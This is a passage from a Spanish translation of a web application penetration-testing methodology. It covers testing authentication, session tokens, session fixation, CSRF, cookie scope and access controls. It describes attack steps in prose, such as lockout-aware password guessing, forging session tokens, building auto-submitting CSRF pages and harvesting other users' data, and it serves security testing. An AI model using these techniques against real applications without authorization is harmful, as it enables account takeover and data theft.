detenidamente en busca de vulnerabilidades.
4.6.2 Inspeccione de cerca todas las cookies persistentes que se configuran cuando se
activa la función Recordarme . Busque cualquier dato que identifique al usuario
explícitamente o que parezca contener algún identificador predecible del usuario.
4.6.3 Incluso cuando los datos almacenados parezcan estar fuertemente codificados u ofuscados,
revíselos detenidamente y compare los resultados de recordar varios nombres de usuario
y/o contraseñas muy similares para identificar cualquier oportunidad de aplicar ingeniería
inversa a los datos originales. Aplique la metodología descrita en el paso 5.2 para identificar
cualquier dato significativo.
4.6.4 Dependiendo de sus resultados, modifique el contenido de su cookie de manera adecuada

en un intento de hacerse pasar por otros usuarios de la aplicación.
4.7 Probar cualquier función de suplantación

4.7.1 Si la aplicación contiene alguna funcionalidad explícita que le permite a un usuario hacerse
pasar por otro, revise esto detenidamente para detectar cualquier vulnerabilidad que pueda
permitirle hacerse pasar por usuarios arbitrarios sin la debida autorización.
4.7.2 Busque cualquier dato proporcionado por el usuario que se utilice para determinar el objetivo
de la suplantación de identidad. Intento de manipular esto para suplantar
otros usuarios, particularmente usuarios administrativos, lo que puede

permitirle escalar privilegios.
4.7.3 Si realiza ataques automáticos de adivinación de contraseñas contra otras cuentas de
usuario, busque cuentas que parezcan tener más de una contraseña válida o varias
cuentas que parezcan tener la misma contraseña . Esto puede indicar la presencia de
una contraseña de puerta trasera, que los administradores pueden usar para acceder
a la aplicación como cualquier usuario.
4.8 Probar la singularidad del nombre de usuario
4.8.1 Si la aplicación tiene una función de registro automático que le permite especificar un
nombre de usuario deseado, intente registrar el mismo nombre de usuario dos veces
con diferentes contraseñas.
4.8.2 Si la aplicación bloquea el segundo intento de registro, puede aprovechar este
comportamiento para enumerar los nombres de usuario registrados.
4.8.3 Si la aplicación registra ambas cuentas, indague más para determinar su comportamiento
cuando ocurre una colisión de nombre de usuario y contraseña. Intente cambiar la
contraseña de una de las cuentas para que coincida con la de la otra. Además, intente
registrar dos cuentas con nombres de usuario y contraseñas idénticos.
4.8.4 Si la aplicación le alerta o genera un error cuando ocurre una colisión de nombre
de usuario y contraseña, probablemente pueda aprovechar esto para realizar un
ataque de adivinación automatizado para descubrir la contraseña de otro usuario.
Apunte a un nombre de usuario enumerado o adivinado e intente crear cuentas
que tengan este nombre de usuario y contraseñas diferentes. Cuando la
aplicación rechaza una contraseña específica, probablemente haya encontrado
la contraseña existente para la cuenta de destino.
4.8.5 Si la aplicación parece tolerar una colisión de nombre de usuario y contraseña sin
error, inicie sesión con las credenciales en conflicto. Determine qué sucede y si se
puede aprovechar el comportamiento de la aplicación para obtener acceso no
autorizado a las cuentas de otros usuarios.
4.9 Probar la previsibilidad de las credenciales generadas automáticamente
4.9.1 Si la aplicación genera automáticamente nombres de usuario o contraseñas, intente

obtener varios valores en rápida sucesión e identifique cualquier secuencia o patrón
detectable.
4.9.2 Si los nombres de usuario se generan de forma predecible, extrapole hacia atrás para
obtener una lista de posibles nombres de usuario válidos. Puede usar esto como base
para la adivinación automática de contraseñas y otros ataques.
4.9.3 Si las contraseñas se generan de forma predecible, extrapole el patrón para

obtener una lista de posibles contraseñas emitidas a otros usuarios de la aplicación.
Esto se puede combinar con cualquier lista de nombres de usuario que obtenga para realizar un
ataque de adivinación de contraseñas.
4.10 Verificación de transmisión insegura de credenciales

4.10.1 Recorra todas las funciones relacionadas con la autenticación que involucran la
transmisión de credenciales, incluido el inicio de sesión principal, el registro de la
cuenta, el cambio de contraseña y cualquier página que permita ver o actualizar
la información del perfil del usuario. Supervise todo el tráfico que pasa en ambas
direcciones entre el cliente y el servidor utilizando su proxy de intercepción.
4.10.2 Identificar todos los casos en que las credenciales se transmiten en cualquier sentido. Puede
establecer reglas de interceptación en su proxy para marcar los mensajes que contienen
cadenas específicas.
4.10.3 Si alguna vez se transmiten las credenciales en la cadena de consulta de la URL, estas
son potencialmente vulnerables a la divulgación en el historial del navegador, en la
pantalla, en los registros del servidor y en el encabezado del Referer cuando se siguen
enlaces de terceros .
4.10.4 Si alguna vez se almacenan credenciales en una cookie, estas son potencialmente vulnerables a la
divulgación a través de ataques XSS o ataques a la privacidad local.
4.10.5 Si alguna vez se transmiten las credenciales del servidor al cliente, estas pueden verse
comprometidas a través de vulnerabilidades en la administración de sesiones o controles de
acceso, o en un ataque XSS.
4.10.6 Si alguna vez se transmiten credenciales a través de una conexión no cifrada, estas son vulnerables
a la interceptación por parte de un espía.
4.10.7 Si las credenciales se envían mediante HTTPS pero el formulario de inicio de sesión se carga
mediante HTTP, la aplicación es vulnerable a un ataque de intermediario que puede usarse para
capturar las credenciales.
4.11 Comprobar la distribución insegura de credenciales

4.11.1 Si las cuentas se crean a través de algún canal fuera de banda, o si la aplicación tiene una función
de autorregistro que no determina por sí misma todas las credenciales iniciales de un usuario,
establezca los medios por los cuales se distribuyen las credenciales a los nuevos usuarios. Los
métodos comunes incluyen el envío de un mensaje a una dirección de correo electrónico o postal.
4.11.2 Si la aplicación genera direcciones URL de activación de cuentas que se

distribuyen fuera de banda, intente registrar varias cuentas nuevas en una
sucesión cercana e identifique cualquier secuencia en las direcciones URL
que reciba. Si se puede determinar un patrón , trate de predecir las URL
enviadas a los usuarios recientes y futuros , e intente usar estas URL para tomar posesión de su
cuentas
4.11.3 Intente reutilizar una única URL de activación varias veces y compruebe si la
aplicación lo permite. Si no es así, intente bloquear la cuenta de destino antes de
volver a utilizar la URL y compruebe si la URL sigue funcionando. Determine si
esto le permite establecer una nueva contraseña en una cuenta activa.
4.12 Prueba de almacenamiento inseguro
4.12.1 Si obtiene acceso a contraseñas hash, verifique las cuentas que comparten el mismo
valor de contraseña hash. Intente iniciar sesión con contraseñas comunes para el
valor hash más común.
4.12.2 Use una tabla de arcoíris fuera de línea para el algoritmo hash en cuestión para
recuperar el valor de texto sin cifrar.
4.13 Prueba de fallas lógicas
4.13.1 Prueba para condiciones de falla abierta
4.13.1.1 Para cada función en la que la aplicación verifique las credenciales de un usuario,
incluidas las funciones de inicio de sesión y cambio de contraseña, realice el
proceso de la manera habitual, utilizando una cuenta que usted controle. Tenga
en cuenta cada parámetro de solicitud enviado a la aplicación.
4.13.1.2 Repita el proceso varias veces, modificando cada parámetro a su vez de varias
formas inesperadas diseñadas para interferir con la lógica de la aplicación. Para
cada parámetro, incluya los siguientes cambios:
n Envíe una cadena vacía como valor. n

Eliminar el par nombre/valor. n Envíe valores
muy largos y muy cortos. n Envíe cadenas en
lugar de números y viceversa. n Envíe el mismo parámetro
con nombre varias veces, con valores iguales y diferentes.
4.13.1.3 Revisar de cerca las respuestas de la aplicación a las solicitudes anteriores. Si se

producen divergencias inesperadas con respecto al caso base, retroalimente esta
observación en su estructura de casos de prueba adicionales. Si una modificación
provoca un cambio en el comportamiento, intente combinar esto con otros
cambios para llevar la lógica de la aplicación al límite.
4.13.2 Probar cualquier mecanismo de etapas múltiples
4.13.2.1 Si alguna función relacionada con la autenticación involucra el envío de credenciales

en una serie de solicitudes diferentes, identifique el propósito aparente de cada
etapa distinta y anote los parámetros enviados en cada etapa.
4.13.2.2 Repetir el proceso varias veces, modificando la secuencia de solicitudes de
formas diseñadas para interferir con la lógica de la aplicación, incluidas las
siguientes pruebas:
n Proceder a través de todas las etapas, pero en una secuencia diferente a la
destinado.
n Proceda directamente a cada etapa por turno y continúe la secuencia

normal desde allí.
n Proceda a través de la secuencia normal varias veces, omitiendo cada
etapa por turno y continuando la secuencia normal desde la siguiente
etapa. n Sobre la base de sus observaciones y el propósito aparente de
cada etapa del mecanismo, intente pensar en otras formas de modificar
la secuencia y acceder a las diferentes etapas que los desarrolladores
pueden no haber previsto.
4.13.2.3 Determinar si una sola pieza de información (como el nombre de usuario)
se envía en más de una etapa, ya sea porque se captura más de una vez
del usuario o porque se transmite a través del cliente
en un campo de formulario oculto, cookie o parámetro de cadena de consulta
preestablecido. Si es así, intente enviar diferentes valores en diferentes etapas
(tanto válidas como no válidas) y observe el efecto. Trate de determinar si el
elemento enviado a veces es superfluo, o si se valida en una etapa y luego se
confía en ella posteriormente, o si se valida en diferentes etapas contra diferentes controles.
Intente explotar el comportamiento de la aplicación para obtener acceso no
autorizado o reducir la eficacia de los controles impuestos por el mecanismo.
4.13.2.4 Busque cualquier dato que se transmita a través del cliente que no haya sido
capturado del usuario en ningún momento. Si se utilizan parámetros ocultos
para rastrear el estado del proceso a través de etapas sucesivas, es

posible interferir con la lógica de la aplicación modificando estos
parámetros de manera artesanal.
4.13.2.5 Si alguna parte del proceso implica que la aplicación presente un desafío que varía
aleatoriamente, pruebe dos defectos comunes: n Si se envía un parámetro que
especifica el desafío junto con la respuesta del usuario, determine si puede elegir
efectivamente su propio desafío modificando este valor.
n Intente avanzar hasta el desafío variable varias veces con el mismo nombre de
usuario y determine si se presenta un desafío diferente. Si es así, puede elegir
efectivamente su propio desafío procediendo a esta etapa repetidamente hasta
que se presente el desafío deseado.
4.14 Explotar cualquier vulnerabilidad para

obtener acceso no autorizado
4.14.1 Revise cualquier vulnerabilidad que haya identificado dentro de las diversas funciones de
autenticación e identifique cualquiera que pueda aprovechar para lograr sus objetivos al
atacar la aplicación. Por lo general, esto implica intentar autenticarse como un usuario
diferente, si es posible, un usuario con privilegios administrativos.
4.14.2 Antes de montar cualquier tipo de ataque automatizado, tome nota de cualquier defensa
de bloqueo de cuenta que haya identificado. Por ejemplo, al realizar la enumeración de
nombres de usuario en una función de inicio de sesión, envíe una contraseña común
con cada solicitud en lugar de un valor completamente arbitrario para no desperdiciar un
intento fallido de inicio de sesión en cada nombre de usuario descubierto.
Del mismo modo, realice cualquier ataque de adivinación de contraseñas primero en
amplitud, no en profundidad. Comience su lista de palabras con las contraseñas débiles
más comunes y continúe con esta lista, probando cada elemento con cada nombre de
usuario enumerado.
4.14.3 Tenga en cuenta las reglas de calidad de las contraseñas y la integridad de la validación
de contraseñas cuando construya listas de palabras para usar en cualquier ataque de
adivinación de contraseñas para evitar casos de prueba imposibles o superfluos.
4.14.4 Use las técnicas descritas en el Capítulo 14 para automatizar tanto trabajo como sea
posible y maximizar la velocidad y efectividad de sus ataques.
5 Probar el mecanismo de gestión de sesiones
5.1. Comprender el mecanismo
Generación de tokens manejo de tokens
5.2. Prueba de significado 5.4. Compruebe si hay transmisión insegura
5.3. Prueba de previsibilidad 5.5. Comprobar la divulgación en los registros
5.6. Probar el mapeo de tokens a sesiones
5.7. Terminación de la sesión de prueba
5.8. Prueba de fijación de sesión
5.9. Comprobar CSRF
5.10. Comprobar el alcance de las cookies
Figura 21-6: Prueba del mecanismo de gestión de sesiones
5.1 Comprender el mecanismo

5.1.1 Analizar el mecanismo utilizado para gestionar sesiones y estado. Establezca si la
aplicación utiliza tokens de sesión o algún otro método para manejar la serie de
solicitudes recibidas de cada usuario. Tenga en cuenta que algunas tecnologías
de autenticación (como la autenticación HTTP) pueden no requerir un mecanismo
de sesión completa para volver a identificar a los usuarios después de la autenticación.
Además, algunas aplicaciones utilizan un mecanismo de estado sin sesión en el que
toda la información de estado se transmite a través del cliente, normalmente de forma
encriptada u ofuscada.
5.1.2 Si la aplicación utiliza tokens de sesión, confi rme con precisión qué datos se utilizan
realmente para volver a identificar a los usuarios. Los elementos que se pueden usar
para transmitir tokens incluyen cookies HTTP, parámetros de cadena de consulta y
campos de formulario ocultos. Varias piezas diferentes de datos pueden usarse
colectivamente para volver a identificar al usuario, y diferentes elementos pueden ser
usados por diferentes componentes de back-end. A menudo, es posible que la
aplicación no emplee elementos que parecen tokens de sesión , como la cookie
predeterminada generada por el servidor web.
5.1.3 Para verificar qué elementos se están empleando realmente como tokens de sesión,
busque una página o función que sea ciertamente dependiente de la sesión (como una
página Mis detalles específica del usuario). Luego haga varias solicitudes para ello,
eliminando sistemáticamente cada elemento que sospeche que se está utilizando como
token de sesión . Si eliminar un elemento impide que se devuelva la página dependiente
de la sesión, esto puede confirmar que el elemento es un token de sesión. Burp
Repeater es una herramienta útil para realizar estas pruebas.
5.1.4 Habiendo establecido qué elementos de datos se están utilizando realmente

para volver a identificar a los usuarios, para cada token confi rmar si se está
validando en su totalidad o si se ignoran algunos subcomponentes del token.
Cambie el valor del token 1 byte a la vez y verifique si el valor modificado aún se
acepta. Si encuentra que ciertas partes del token no se utilizan realmente para mantener
el estado de la sesión, puede excluirlas de un análisis posterior.
5.2 Fichas de prueba de significado

5.2.1 Inicie sesión como varios usuarios diferentes en diferentes momentos y registre los
tokens recibidos del servidor. Si el registro automático está disponible y puede elegir
su nombre de usuario, inicie sesión con una serie de nombres de usuario similares que
tengan pequeñas variaciones, como A, AA, AAA, AAAA, AAAB, AAAC, AABA, etc. Si
se envían otros datos específi cos del usuario al iniciar sesión o se almacenan en los
perfiles de usuario (como una dirección de correo electrónico), realice un ejercicio
similar para modificar esos datos sistemáticamente y capturar los tokens resultantes.
5.2.2 Analice los tokens que recibe en busca de correlaciones que parezcan estar relacionadas
con el nombre de usuario y otros datos controlables por el usuario.
5.2.3 Analice los tokens en busca de cualquier codificación u ofuscación detectable. Busque
una correlación entre la longitud del nombre de usuario y la longitud del token, lo que
indica claramente que se está utilizando algún tipo de ofuscación o codificación.
Cuando el nombre de usuario contenga una secuencia del mismo carácter, busque una
secuencia de caracteres correspondiente en el token, lo que puede indicar el uso de
ofuscación XOR. Busque secuencias en el token que contengan solo caracteres
hexadecimales, lo que puede indicar la codificación hexadecimal de una cadena ASCII
u otra información. Busque secuencias que terminen en un signo igual y/o que
contengan solo los otros caracteres Base64 válidos: de la a a la z, de la A a la Z, del 0
al 9, + y /.
5.2.4 Si puede identificar datos significativos dentro de su muestra de tokens de

sesión, considere si esto es suficiente para montar un ataque que intente
adivinar los tokens emitidos recientemente a otros usuarios de la aplicación.
Busque una página de la aplicación que dependa de la sesión y utilice las técnicas
descrito en el Capítulo 14 para automatizar la tarea de generar y probar

posibles tokens.
5.3 Fichas de prueba para la previsibilidad

5.3.1 Genere y capture una gran cantidad de tokens de sesión en rápida sucesión ,
utilizando una solicitud que haga que el servidor devuelva un nuevo token (por
ejemplo, una solicitud de inicio de sesión exitosa).
5.3.2 Intente identificar cualquier patrón dentro de su muestra de fichas. En todos los
casos, debe usar Burp Sequencer, como se describe en el Capítulo 7, para
realizar pruebas estadísticas detalladas de las propiedades de aleatoriedad de los
tokens de la aplicación. Dependiendo de los resultados, también puede ser útil
realizar el siguiente análisis manual:
n Aplique su comprensión de qué tokens y subsecuencias usa realmente la

aplicación para volver a identificar a los usuarios. Ignore cualquier dato que no
se use de esta manera, incluso si varía entre muestras.
n Si no está claro qué tipo de datos contiene el token, o cualquier componente
individual del mismo, intente aplicar varias decodificaciones (por ejemplo,
Base64) para ver si surge algún dato más significativo. Puede ser necesario
aplicar varias decodificaciones en secuencia. n Trate de identificar cualquier
patrón en las secuencias de valores contenidos en cada token o componente
decodificado. Calcular las diferencias entre valores sucesivos. Incluso si estos
parecen ser caóticos, puede haber un conjunto fijo de diferencias observadas,
lo que reduce considerablemente el alcance de cualquier ataque de fuerza
bruta.
n Obtenga una muestra similar de fichas después de esperar unos minutos y
repita el mismo análisis. Intente detectar si alguno de los contenidos de los
tokens depende del tiempo.
5.3.3 Si identifica algún patrón, capture una segunda muestra de tokens utilizando una
dirección IP diferente y un nombre de usuario diferente. Esto le ayudará a
identificar si se detecta el mismo patrón y si las fichas recibidas en el primer
ejercicio podrían extrapolarse para adivinar las fichas recibidas en el segundo.
5.3.4 Si puede identificar secuencias explotables o dependencias de tiempo, considere si

esto es suficiente para montar un ataque que intente adivinar los tokens emitidos
recientemente a otros usuarios de la aplicación. Utilice las técnicas descritas en
el Capítulo 14 para automatizar la tarea de generar y probar posibles tokens.
Excepto en el tipo más simple de secuencias, es probable que su ataque deba
involucrar algún tipo de script personalizado.
5.3.5 Si la identificación de la sesión parece estar escrita de forma personalizada, use

la fuente de carga útil "bit flipper" en Burp Intruder para modificar
secuencialmente cada bit en el token de sesión por turno. Grep para una
cadena en la respuesta que indica si la modificación del token no ha resultado
en una sesión no válida y si la sesión pertenece a un usuario diferente.
5.4 Comprobar la transmisión insegura de tokens

5.4.1 Recorra la aplicación normalmente, comenzando con el contenido no autenticado
en la URL de inicio, pasando por el proceso de inicio de sesión y luego pasando
por todas las funciones de la aplicación. Tome nota de cada ocasión en la que
se emita un nuevo token de sesión y qué partes de sus comunicaciones usan
HTTP y cuáles usan HTTPS.
Puede utilizar la función de registro de su proxy de interceptación para registrar
esta información.
5.4.2 Si se utilizan cookies HTTP como mecanismo de transmisión para los tokens
de sesión, verifique si el indicador de seguridad está configurado, lo que evita
que se transmitan a través de conexiones HTTP.
5.4.3 Determinar si, en el uso normal de la aplicación, los tokens de sesión alguna
vez se transmiten a través de una conexión HTTP. Si es así, son vulnerables
a la intercepción.
5.4.4 En los casos en que la aplicación usa HTTP para áreas no
autenticadas y cambia a HTTPS para el inicio de sesión y/o áreas
autenticadas de la aplicación, verifique si se emite un nuevo token
para la parte HTTPS de las comunicaciones, o si se emite un token
durante la etapa HTTP permanece activa cuando la aplicación cambia a HTTPS.
Si un token emitido durante la etapa HTTP permanece activo, el token es
vulnerable a la intercepción.
5.4.5 Si el área HTTPS de la aplicación contiene enlaces a URL HTTP, sígalos y
verifique si se envía el token de sesión. Si es así, determine si continúa siendo
válido o si el servidor lo rescinde inmediatamente.
5.5 Comprobar la divulgación de tokens en los registros

5.5.1 Si los ejercicios de mapeo de su aplicación identificaron alguna funcionalidad de
registro, monitoreo o diagnóstico, revise estas funciones detenidamente para
determinar si se revelan tokens de sesión dentro de ellas. Confirme quién está
normalmente autorizado para acceder a estas funciones. Si están destinados
solo a los administradores, determine si existen otras vulnerabilidades que
podrían permitir que un usuario con menos privilegios acceda a ellos.
5.5.2 Identifique cualquier instancia en la que se transmitan tokens de sesión dentro de la URL.
Puede ser que los tokens se transmitan generalmente de una manera más segura, pero
que los desarrolladores hayan usado la URL en casos específicos para solucionar un
problema en particular. Si es así, estos pueden transmitirse en el encabezado de Referer
cuando los usuarios siguen cualquier enlace fuera del sitio. Verifique cualquier
funcionalidad que le permita inyectar enlaces fuera del sitio arbitrarios en páginas vistas
por otros usuarios.
5.5.3 Si encuentra alguna forma de recopilar tokens de sesión válidos emitidos a otros usuarios,
busque una forma de probar cada token para determinar si pertenece a un usuario
administrativo (por ejemplo, al intentar acceder a una función privilegiada usando el
token). ).
5.6 Comprobar la asignación de tokens a las sesiones

5.6.1 Inicie sesión en la aplicación dos veces con la misma cuenta de usuario, ya sea desde
diferentes procesos del navegador o desde diferentes computadoras. Determine si ambas
sesiones permanecen activas al mismo tiempo. Si lo hacen, la aplicación admite sesiones
simultáneas, lo que permite que un atacante que haya comprometido las credenciales de
otro usuario las use sin riesgo de detección.
5.6.2 Iniciar y cerrar sesión varias veces con la misma cuenta de usuario, ya sea desde diferentes
procesos del navegador o desde diferentes computadoras. Determine si se emite un
token de sesión nuevo cada vez, o si se emite el mismo token cada vez que la misma
cuenta inicia sesión. Si esto último ocurre, la aplicación no está empleando tokens de
sesión adecuados, sino cadenas persistentes únicas para volver a identificar cada uno.
usuario. En esta situación, no hay forma de protegerse contra los inicios de sesión
simultáneos o de hacer cumplir correctamente
hora de término de la sesión.
5.6.3 Si los tokens parecen contener alguna estructura y significado, intente separar los
componentes que puedan identificar al usuario de aquellos que parecen ser inescrutables.
Intente modificar los componentes del token relacionados con el usuario para que se
refieran a otros usuarios conocidos de la aplicación. Verifique si la aplicación acepta el
token resultante y si le permite enmascararse como ese usuario. Consulte el Capítulo 7
para ver ejemplos de este tipo de vulnerabilidad sutil.
5.7 Terminación de la sesión de prueba
5.7.1 Cuando pruebe fallas en el tiempo de espera de la sesión y cierre de sesión, concéntrese
únicamente en el manejo de sesiones y tokens por parte del servidor, en lugar de
cualquier evento que ocurra en el cliente. En términos de terminación de sesión, nada
depende mucho de lo que le suceda al token dentro del navegador del cliente.
5.7.2 Verifique si la caducidad de la sesión está implementada en el servidor:
n Inicie sesión en la aplicación para obtener un token de sesión

válido. n Espere un período sin usar este token y luego envíe una solicitud para
una página protegida (como Mis detalles) usando el token. n Si la página se
muestra normalmente, el token aún está activo. n Use prueba y error para
determinar cuánto dura el tiempo de espera de vencimiento de la sesión, o si un
token todavía se puede usar días después de la solicitud anterior que lo usó.
Burp Intruder se puede configurar para incrementar el intervalo de tiempo
entre solicitudes sucesivas para automatizar esta tarea.
5.7.3 Compruebe si existe una función de cierre de sesión. Si es así, pruebe si invalida
efectivamente la sesión del usuario en el servidor. Después de cerrar la sesión,
intente reutilizar el token anterior y determine si aún es válido solicitando una
página protegida usando el token. Si la sesión aún está activa, los usuarios
siguen siendo vulnerables a algunos ataques de secuestro de sesión incluso
después de haber "cerrado la sesión". Puede usar Burp Repeater para seguir
enviando una solicitud específica desde el historial del proxy para ver si la
aplicación responde de manera diferente después de cerrar la sesión.
5.8 Comprobar la Fijación de Sesión

5.8.1 Si la aplicación emite tokens de sesión para usuarios no autenticados, obtenga un
token y realice un inicio de sesión. Si la aplicación no emite un token nuevo luego
de un inicio de sesión exitoso, es vulnerable a la corrección de la sesión.
5.8.2 Incluso si la aplicación no emite tokens de sesión para usuarios no autenticados,
obtenga un token iniciando sesión y luego regrese a la página de inicio de sesión.
Si la aplicación está dispuesta a devolver esta página aunque ya esté autenticado,
envíe otro inicio de sesión como un usuario diferente usando el mismo token. Si
la aplicación no emite un token nuevo después del segundo inicio de sesión, es
vulnerable a la corrección de la sesión.
5.8.3 Identificar el formato de tokens de sesión que utiliza la aplicación. Modifique su
token a un valor inventado que tenga un formato válido e intente iniciar sesión. Si
la aplicación le permite crear una sesión autenticada usando un token inventado,
es vulnerable a la fijación de la sesión.
5.8.4 Si la aplicación no admite el inicio de sesión, pero procesa información confidencial
del usuario (como detalles personales y de pago) y permite que se muestre
después del envío (como en una página Verificar mi pedido), realice las tres
pruebas anteriores en en relación con las páginas que muestran datos
confidenciales. Si un token establecido durante el uso anónimo de la aplicación
se puede usar más adelante para recuperar información confidencial del usuario,
la aplicación es vulnerable a la fijación de la sesión.
5.9 Comprobar CSRF

5.9.1 Si la aplicación se basa únicamente en cookies HTTP como método para transmitir
tokens de sesión, puede ser vulnerable a ataques de falsificación de solicitudes entre
sitios.
5.9.2 Revise la funcionalidad clave de la aplicación e identifique las solicitudes específicas que
se utilizan para realizar acciones confidenciales. Si un atacante puede determinar
completamente por adelantado los parámetros para cualquiera de estas solicitudes ( es
decir, no contienen tokens de sesión, datos impredecibles u otros secretos), la aplicación
es casi seguro que es vulnerable.
5.9.3 Cree una página HTML que emitirá la solicitud deseada sin ninguna interacción del
usuario. Para solicitudes GET , puede colocar una etiqueta <img> con el parámetro src
establecido en la URL vulnerable. Para las solicitudes POST , puede crear un formulario
que contenga campos ocultos para todos los parámetros relevantes necesarios para el
ataque y cuyo objetivo sea la URL vulnerable. Puede usar JavaScript para enviar
automáticamente el formulario tan pronto como se cargue la página. Mientras esté
conectado a la aplicación, use el mismo navegador para cargar su página HTML.
Verifique que la acción deseada se lleva a cabo dentro de la aplicación.
5.9.4 Si la aplicación usa tokens adicionales dentro de las solicitudes en un intento de prevenir
ataques CSRF, pruebe la robustez de estos de la misma manera que para los tokens
de sesión. Pruebe también si la aplicación es vulnerable a los ataques de reparación de
la interfaz de usuario para derrotar las defensas anti-CSRF (consulte el Capítulo 13
para obtener más detalles).
5.10 Comprobar el alcance de las cookies
5.10.1 Si la aplicación utiliza cookies HTTP para transmitir tokens de sesión (o cualquier otro
dato confidencial), revise los encabezados de Set-Cookie relevantes y verifique los
atributos de dominio o ruta utilizados para controlar el alcance de las cookies.
5.10.2 Si la aplicación liberaliza explícitamente el alcance de sus cookies a un dominio principal

o directorio principal, puede quedar vulnerable a ataques a través de otras aplicaciones
web alojadas en el dominio o directorio principal.
5.10.3 Si la aplicación establece el alcance del dominio de sus cookies en su propio nombre de
dominio (o no especifica un atributo de dominio), aún puede estar expuesta a ataques
a través de cualquier aplicación alojada en subdominios. Esta es una consecuencia de
cómo funciona el alcance de las cookies. No se puede evitar de otra manera que no
aloje ninguna otra aplicación en un subdominio de una aplicación sensible a la seguridad.
5.10.4 Determinar si se depende de la segregación por ruta, como /sitio/principal y /sitio/

demostración, que puede subvertirse en caso de un ataque de secuencias de
comandos entre sitios.
5.10.5 Identificar todos los posibles nombres de dominio y rutas que recibirán las cookies
que emite la aplicación. Establezca si se puede acceder a otras aplicaciones web a
través de estos nombres de dominio o rutas que pueda aprovechar para capturar
las cookies emitidas a los usuarios de la aplicación de destino.
6 Controles de acceso de prueba
6.4. Prueba
6.1. Comprender los requisitos
de métodos inseguros
6.2. Prueba 6.3. Prueba

con varias cuentas con acceso limitado
Figura 21-7: Prueba de controles de acceso
6.1 Comprender los requisitos de control de acceso

6.1.1 Con base en la funcionalidad central implementada dentro de la aplicación, comprenda
los requisitos generales para el control de acceso en términos de segregación
vertical (diferentes niveles de usuarios tienen acceso a diferentes tipos de
funcionalidad) y segregación horizontal (los usuarios con el mismo nivel de privilegio
tienen acceso a diferentes subconjuntos de datos). A menudo, ambos tipos de
segregación están presentes. Por ejemplo, los usuarios comunes pueden acceder
a sus propios datos, mientras que los administradores pueden acceder a los datos de todos.
6.1.2 Revise los resultados del mapeo de su aplicación para identificar las áreas de
funcionalidad y los tipos de recursos de datos que representan los objetivos más
fructíferos para los ataques de escalada de privilegios.
6.1.3 Para realizar las pruebas más efectivas para las vulnerabilidades de control de
acceso, idealmente debería obtener varias cuentas diferentes con diferentes
privilegios verticales y horizontales. Si es posible el autorregistro, probablemente
pueda obtener este último directamente desde la aplicación. Para obtener el primero,
probablemente necesitará la cooperación del propietario de la aplicación (o
necesitará explotar alguna vulnerabilidad para obtener acceso a una cuenta con
muchos privilegios). La disponibilidad de diferentes tipos de cuentas afectará los
tipos de pruebas que puede realizar, como se describe a continuación.
6.2 Prueba con varias cuentas

6.2.1 Si la aplicación impone la segregación vertical de privilegios, primero use una
cuenta poderosa para ubicar todas las funciones a las que puede acceder.
Luego use una cuenta con menos privilegios e intente acceder a cada elemento
de esta funcionalidad.
6.2.1.1 Usando Burp, explore todo el contenido de la aplicación dentro de un usuario
contexto.
6.2.1.2 Revise el contenido del mapa del sitio de Burp para asegurarse de haber
identificado todas las funciones que desea probar. Luego, cierre sesión en
la aplicación y vuelva a iniciar sesión utilizando un contexto de usuario diferente.
Use el menú contextual para seleccionar la función "comparar mapas de sitios"
para determinar qué solicitudes con privilegios altos pueden ser accesibles para
el usuario con privilegios más bajos. Consulte el Capítulo 8 para obtener más
detalles sobre esta técnica.
6.2.2 Si la aplicación impone la segregación horizontal de privilegios, realice la prueba

equivalente usando dos cuentas diferentes con el mismo nivel de privilegio,
intentando usar una cuenta para acceder a los datos que pertenecen a la otra
cuenta. Por lo general, esto implica reemplazar un identificador (como una ID
de documento) dentro de una solicitud para especificar un recurso que
pertenece al otro usuario.
6.2.3 Realice una verificación manual de la lógica de control de acceso clave.
6.2.3.1 Para cada privilegio de usuario, revise los recursos disponibles para un usuario.
Intente acceder a esos recursos desde una cuenta de usuario no autorizada
reproduciendo la solicitud utilizando el token de sesión del usuario no autorizado.
6.2.4 Cuando realice cualquier tipo de prueba de control de acceso, asegúrese de probar cada paso
de las funciones de varias etapas individualmente para confi rmar si los controles de acceso
se han implementado correctamente en cada etapa o si la aplicación asume que los usuarios
que acceden a una etapa posterior deben han pasado los controles de seguridad
implementados en las etapas anteriores. Por ejemplo, si una página administrativa que
contiene un formulario está debidamente protegida, compruebe si el envío del formulario real
también está sujeto a los controles de acceso adecuados.
6.3 Prueba con acceso limitado

6.3.1 Si no tiene acceso previo a cuentas con diferentes niveles de privilegios, oa varias cuentas con
acceso a diferentes datos, la prueba de controles de acceso rotos no es tan sencilla. Muchas
vulnerabilidades comunes serán mucho más difíciles de localizar porque no conoce los
nombres de las URL, los identificadores y los parámetros que se necesitan para explotar las
debilidades.
6.3.2 En sus ejercicios de mapeo de aplicaciones que utilizan una cuenta con pocos
privilegios, es posible que haya identificado las URL para funciones
privilegiadas, como las interfaces administrativas. Si estos no están
adecuadamente protegidos, probablemente ya lo sepa.
6.3.3 Descompilar todos los clientes compilados que estén presentes y extraer cualquier
referencia a la funcionalidad del lado del servidor.
6.3.4 Se accede a la mayoría de los datos sujetos a controles de acceso horizontal

mediante un identificador, como un número de cuenta o una referencia de
pedido. Para probar si los controles de acceso son efectivos usando una
sola cuenta, debe intentar adivinar o descubrir los identifi cadores asociados
con los datos de otros usuarios. Si es posible, genere una serie de
identificadores en rápida sucesión (por ejemplo, creando varios pedidos
nuevos). Intente identificar cualquier patrón que le permita predecir los
identificadores emitidos a otros usuarios. Si no hay forma de generar nuevos
identificadores, probablemente esté restringido a analizar los que ya tiene y
adivinar sobre esa base.
6.3.5 Si encuentra una manera de predecir los identifi cadores emitidos a otros usuarios, utilice
las técnicas descritas en el Capítulo 14 para montar un ataque automatizado para
recopilar datos interesantes pertenecientes a otros usuarios. Utilice la función Extraer
Grep en Burp Intruder para capturar la información relevante dentro de las respuestas de
la aplicación.
6.4 Prueba de métodos de control de acceso inseguros

6.4.1 Algunas aplicaciones implementan controles de acceso basados en parámetros de solicitud
de una manera intrínsecamente insegura. Busque parámetros como edit=false o
access=read en cualquier solicitud de clave y modifíquelos de acuerdo con su función
aparente para intentar interferir con la lógica de control de acceso de la aplicación.
6.4.2 Algunas aplicaciones basan las decisiones de control de acceso en el encabezado HTTP
Referer . Por ejemplo, una aplicación puede controlar adecuadamente el acceso a /
admin.jsp y aceptar cualquier solicitud que muestre esto como su referencia. Para probar
este comportamiento, intente realizar algunas acciones privilegiadas para las que esté
autorizado y envíe un encabezado de referencia modificado o faltante .
Si este cambio hace que la aplicación bloquee su solicitud, es posible que esté utilizando
el encabezado Referer de forma no segura. Intente realizar la misma acción que un
